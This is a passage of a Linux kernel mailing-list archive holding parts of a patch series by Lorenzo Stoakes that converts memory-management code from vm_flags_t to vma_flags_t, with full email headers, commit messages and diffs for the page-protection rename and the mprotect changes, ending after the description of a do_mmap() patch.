 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=2845; i=ljs@kernel.org;
 h=from:subject:message-id; bh=Soud7SJAfopgWlkROt1dYPu535d7z0wbh0cd1bt/8n8=;
 b=owGbwMvMwCV2fu7ZrsZH9SKMp9WSGLKC+i1r+Lfnqbc90vrVGDSl+P4cT/kJqy/bTGI35c5dL
 sXF8uhaRykLgxgXg6yYIsvzL+L7g0TC5nVe8HeDmcPKBDKEgYtTACaSn8zwP+Tvx29OMZ4Olxy3
 dh5LDd7V18X908Jec02jyvrfMTdLNRj+cLwPSWPNn3D00+v715gv/5eulHkbvKPiskGWQoG+s6U
 EAwA=
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-33051d/1783795690-CA152CF4-CAC3BF67/0/0
X-purgate-type: clean
X-purgate-size: 2847

Having vma_get_page_prot() refer to VMA flags and vma_set_page_prot() refer
to a VMA is confusing.

Rename vma_get_page_prot() to vma_flags_to_page_prot() to resolve this
confusion.

No functional change intended.

Reviewed-by: Lance Yang <lance.yang@linux.dev>
Reviewed-by: Zi Yan <ziy@nvidia.com>
Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
 include/linux/mm.h              | 4 ++--
 mm/vma.c                        | 2 +-
 mm/vma.h                        | 2 +-
 tools/testing/vma/include/dup.h | 2 +-
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/include/linux/mm.h b/include/linux/mm.h
index 5b3825fddf58..b8fe40f89d87 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -4603,7 +4603,7 @@ static inline bool range_in_vma_desc(const struct vm_area_desc *desc,
 #ifdef CONFIG_MMU
 pgprot_t vm_get_page_prot(vm_flags_t vm_flags);
 
-static inline pgprot_t vma_get_page_prot(vma_flags_t vma_flags)
+static inline pgprot_t vma_flags_to_page_prot(vma_flags_t vma_flags)
 {
 	const vm_flags_t vm_flags = vma_flags_to_legacy(vma_flags);
 
@@ -4616,7 +4616,7 @@ static inline pgprot_t vm_get_page_prot(vm_flags_t vm_flags)
 {
 	return __pgprot(0);
 }
-static inline pgprot_t vma_get_page_prot(vma_flags_t vma_flags)
+static inline pgprot_t vma_flags_to_page_prot(vma_flags_t vma_flags)
 {
 	return __pgprot(0);
 }
diff --git a/mm/vma.c b/mm/vma.c
index a74a0e467c63..38481aca7321 100644
--- a/mm/vma.c
+++ b/mm/vma.c
@@ -56,7 +56,7 @@ struct mmap_state {
 		.pglen = PHYS_PFN(len_),				\
 		.vma_flags = vma_flags_,				\
 		.file = file_,						\
-		.page_prot = vma_get_page_prot(vma_flags_),		\
+		.page_prot = vma_flags_to_page_prot(vma_flags_),	\
 	}
 
 #define VMG_MMAP_STATE(name, map_, vma_)				\
diff --git a/mm/vma.h b/mm/vma.h
index 8ca6e7e8ae28..0bc7d521e976 100644
--- a/mm/vma.h
+++ b/mm/vma.h
@@ -543,7 +543,7 @@ static inline bool vma_wants_manual_pte_write_upgrade(struct vm_area_struct *vma
 #ifdef CONFIG_MMU
 static inline pgprot_t vma_pgprot_modify(pgprot_t oldprot, vma_flags_t vma_flags)
 {
-	const pgprot_t prot = vma_get_page_prot(vma_flags);
+	const pgprot_t prot = vma_flags_to_page_prot(vma_flags);
 
 	return pgprot_modify(oldprot, prot);
 }
diff --git a/tools/testing/vma/include/dup.h b/tools/testing/vma/include/dup.h
index 24955a1e318a..8621a7ae8980 100644
--- a/tools/testing/vma/include/dup.h
+++ b/tools/testing/vma/include/dup.h
@@ -1545,7 +1545,7 @@ static inline int get_sysctl_max_map_count(void)
 #define pgtable_supports_soft_dirty()	IS_ENABLED(CONFIG_MEM_SOFT_DIRTY)
 #endif
 
-static inline pgprot_t vma_get_page_prot(vma_flags_t vma_flags)
+static inline pgprot_t vma_flags_to_page_prot(vma_flags_t vma_flags)
 {
 	const vm_flags_t vm_flags = vma_flags_to_legacy(vma_flags);
 

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360586.1613512 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkL-0000nj-EW; Sun, 12 Jul 2026 05:28:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360586.1613512; Sun, 12 Jul 2026 05:28:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkK-0000kZ-SP; Sun, 12 Jul 2026 05:28:56 +0000
Received: by outflank-mailman (input) for mailman id 1360586;
 Sat, 11 Jul 2026 18:49:56 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wiclw-0005c8-7h
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:49:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiclv-00ANfV-Km
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:49:55 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a52902c-bab6-0a2a0a5309dd-0a2a4502b338-16
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:49:55 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a529052-64c6-0a2a45020019-ac6904fe909e-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:49:55 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id EB33F601D9;
 Sat, 11 Jul 2026 18:49:53 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 3EE8B1F000E9;
 Sat, 11 Jul 2026 18:49:33 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Date:Subject:References:In-Reply-To:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795793;
	bh=Fr9+W5ioGfovNH8dryM/kzP+up/ElY+Oy2uwfNl+UZQ=;
	h=From:Date:Subject:References:In-Reply-To:To:Cc;
	b=KCh2Wp49fergCiFPuJT2qu+NLRDa7tcNsKE68tr0X57/gxQeoxFEQALVKzPPGCBCs
	 1S2aNlk++tT/2vIRKjYUsq8gWVO5hc3Pv8Wj7ehGz3ecvbnsQJtpGf+Z3pEmCQ5Zpb
	 0G4kl6AsVgK7NukwvKxLJBKVBgW4cGFGkyDpvnIWMOL+cqs+XQ3maPfs9w3a7IE778
	 VHeldKO9fd0SwC8Wj8f7RSPZ4Jk+y+nxR+cKOZdHbk7BShTL6YF9RcqJ6dbx/Ra7Fm
	 TE7Z2bwnikCj/QtjUnOZ8uMRw3s/GTnG9x5fnIpGmsCUudhHKyJXYAWkomP4MG/RhR
	 DQejuUUlKg3zw==
From: Lorenzo Stoakes <ljs@kernel.org>
Date: Sat, 11 Jul 2026 19:45:09 +0100
Subject: [PATCH v2 12/13] mm/mprotect: convert mprotect code to use
 vma_flags_t
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-b4-vma-flags-mm-v2-12-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=2996; i=ljs@kernel.org;
 h=from:subject:message-id; bh=srWqnQOI/gzNhpzulQ661PMe2/Xdt3Viy9gVjyuNxVs=;
 b=owGbwMvMwCV2fu7ZrsZH9SKMp9WSGLKC+q08lh17/Pn9DO6GppTAjP7Fs7Y758nqdTXNm/9By
 2P20jvmHaUsDGJcDLJiiizPv4jvDxIJm9d5wd8NZg4rE8gQBi5OAZjIo6cM/6OUTKz3VR0/Kd/z
 9N+FX84lasa5MY7rRCqXPVqaO+Hv4qeMDLfOLP6RuO0wS2eR6YK62aGFcS/ctwjs0Qu2mW4r7s7
 Dww8A
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-720697/1783795795-3E944A87-F23A9418/0/0
X-purgate-type: clean
X-purgate-size: 2998

Replace use of the legacy vm_flags_t flags with vma_flags_t values
throughout the mprotect logic.

Note that we retain the legacy vm_flags_t bit shifting code in
do_mprotect_pkey(), deferring a vma_flags_t approach to this for the time
being.

Additionally update comments to reflect the changes to be consistent.

No functional change intended.

Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
 mm/mprotect.c | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/mm/mprotect.c b/mm/mprotect.c
index dc27bbc1712f..2888ee638d87 100644
--- a/mm/mprotect.c
+++ b/mm/mprotect.c
@@ -40,7 +40,7 @@
 
 static bool maybe_change_pte_writable(struct vm_area_struct *vma, pte_t pte)
 {
-	if (WARN_ON_ONCE(!(vma->vm_flags & VM_WRITE)))
+	if (WARN_ON_ONCE(!vma_test(vma, VMA_WRITE_BIT)))
 		return false;
 
 	/* Don't touch entries that are not even readable. */
@@ -97,7 +97,7 @@ static bool can_change_shared_pte_writable(struct vm_area_struct *vma,
 bool can_change_pte_writable(struct vm_area_struct *vma, unsigned long addr,
 			     pte_t pte)
 {
-	if (!(vma->vm_flags & VM_SHARED))
+	if (!vma_test(vma, VMA_SHARED_BIT))
 		return can_change_private_pte_writable(vma, addr, pte);
 
 	return can_change_shared_pte_writable(vma, pte);
@@ -194,7 +194,7 @@ static __always_inline void set_write_prot_commit_flush_ptes(struct vm_area_stru
 {
 	bool set_write;
 
-	if (vma->vm_flags & VM_SHARED) {
+	if (vma_test(vma, VMA_SHARED_BIT)) {
 		set_write = can_change_shared_pte_writable(vma, ptent);
 		prot_commit_flush_ptes(vma, addr, ptep, oldpte, ptent, nr_ptes,
 				       /* idx = */ 0, set_write, tlb);
@@ -846,8 +846,8 @@ mprotect_fixup(struct vma_iterator *vmi, struct mmu_gather *tlb,
 		vm_unacct_memory(nrpages);
 
 	/*
-	 * Private VM_LOCKED VMA becoming writable: trigger COW to avoid major
-	 * fault on access.
+	 * Private VMA_LOCKED_BIT VMA becoming writable: trigger COW to avoid
+	 * major fault on access.
 	 */
 	if (vma_flags_test(&new_vma_flags, VMA_WRITE_BIT) &&
 	    vma_flags_test(&old_vma_flags, VMA_LOCKED_BIT) &&
@@ -921,7 +921,7 @@ static int do_mprotect_pkey(unsigned long start, size_t len,
 			goto out;
 		start = vma->vm_start;
 		error = -EINVAL;
-		if (!(vma->vm_flags & VM_GROWSDOWN))
+		if (!vma_test(vma, VMA_GROWSDOWN_BIT))
 			goto out;
 	} else {
 		if (vma->vm_start > start)
@@ -929,7 +929,7 @@ static int do_mprotect_pkey(unsigned long start, size_t len,
 		if (unlikely(grows & PROT_GROWSUP)) {
 			end = vma->vm_end;
 			error = -EINVAL;
-			if (!(vma->vm_flags & VM_GROWSUP))
+			if (!vma_test_single_mask(vma, VMA_GROWSUP))
 				goto out;
 		}
 	}
@@ -953,7 +953,7 @@ static int do_mprotect_pkey(unsigned long start, size_t len,
 		}
 
 		/* Does the application expect PROT_READ to imply PROT_EXEC */
-		if (rier && (vma->vm_flags & VM_MAYEXEC))
+		if (rier && vma_test(vma, VMA_MAYEXEC_BIT))
 			prot |= PROT_EXEC;
 
 		/*

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360566.1613432 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkH-0007ga-2o; Sun, 12 Jul 2026 05:28:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360566.1613432; Sun, 12 Jul 2026 05:28:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkG-0007ex-Sx; Sun, 12 Jul 2026 05:28:52 +0000
Received: by outflank-mailman (input) for mailman id 1360566;
 Sat, 11 Jul 2026 18:46:27 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wiciZ-0005Hd-Jh
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:46:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiciY-00ANVP-Vy
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:46:27 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a528f34-bab6-0a2a0a5309dd-0a2a450a8758-26
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:46:26 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a528f81-ec7d-0a2a450a0019-aceafc1fe3a2-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:46:26 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id A599B411CA;
 Sat, 11 Jul 2026 18:46:24 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 260051F000E9;
 Sat, 11 Jul 2026 18:46:03 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Date:Subject:References:In-Reply-To:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795584;
	bh=g+agf5d0VA4ULdU6f5yFEwAUx+bbxEeKzc9rvtTsBpc=;
	h=From:Date:Subject:References:In-Reply-To:To:Cc;
	b=PkVO9vCW0DyAVzc8IQWQQkCWDHnQgKIkX7aDK5COn6zF/CYn9txG6K23wjGaVTeSN
	 74SlcnIcO738w9F80wwcU3UhuXDHcgmdhoG8X+7QQcHTRwqV4h8z9enbPM7CKcXoEy
	 /W2QFrz0nX/aYDhB7nSIgGdOQRoUHqqs3qu+9XbiGZ2PIBpJocQJ+L0UM0dgkXFAD0
	 p5tafu+eTgCny17Azi8KCZTFS6xdCyO0bhELJLi8BSxyF3YpAdOBvAPrBJ+0knvgbg
	 LSTJrnmrJumRE9x1UANqzaeOqQOl1L2kUlqtwNjISxcPvxhc7UUc3cGQ/JngA3KjuN
	 AddE/VMZzCQAw==
From: Lorenzo Stoakes <ljs@kernel.org>
Date: Sat, 11 Jul 2026 19:44:59 +0100
Subject: [PATCH v2 02/13] mm/vma: update do_mmap() to use vma_flags_t
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-b4-vma-flags-mm-v2-2-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=18260; i=ljs@kernel.org;
 h=from:subject:message-id; bh=jfSqPsoKaHvqoj7aeYFJY5iN46n5aMbHR0GOh5Ad3CA=;
 b=owGbwMvMwCV2fu7ZrsZH9SKMp9WSGLKC+i2vNMxmaVvw8B7zgtors6vfpa5gnX+t0OnO6h3H3
 s7QO84j3lHKwiDGxSArpsjy/Iv4/iCRsHmdF/zdYOawMoEMYeDiFICJrF/PyDA3Ri5aftfVrf+5
 zx4uPP3X/v+pNpHMv3UPaw/Vz1p6fmY4w//oM8vKtp5iXmkhkVrSl217YfHxzClVy6afFuwucJl
 basIPAA==
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-4011c0/1783795586-3F168248-5D3741A3/0/0
X-purgate-type: clean
X-purgate-size: 18262

The core do_mmap() function accepts a vm_flags_t parameter which it then
manipulates before passing to mmap_region() to do the heavy lifting of the
memory mapping.

Update do_mmap() to instead accept a vma_flags_t parameter, and adjust all
the logic within do_mmap() to manipulate this instead.

This is as part of the ongoing effort to convert VMA flags from a system
word size to a bitmap type which allows us to unrestrict the number of VMA
flags, as well as gain control over how VMA flag manipulation occurs.

We do not cascade these changes to all functions which accept vm_flags_t,
but rather use vma_flags_to_legacy() where necessary, specifically
deferring converting calc_vm_prot_bits(), calc_vm_flag_bits() and
__get_unmapped_area() to vma_flags_t.

Also utilise the new vma_flags_can_grow() predicate which correctly handles
the case of architectures without upward growing stacks.

As part of this change, introduce VMA_SHADOW_STACK so we can correctly
handle the case of the shadow stack not being defined.

No functional change intended.

Reviewed-by: Lance Yang <lance.yang@linux.dev>
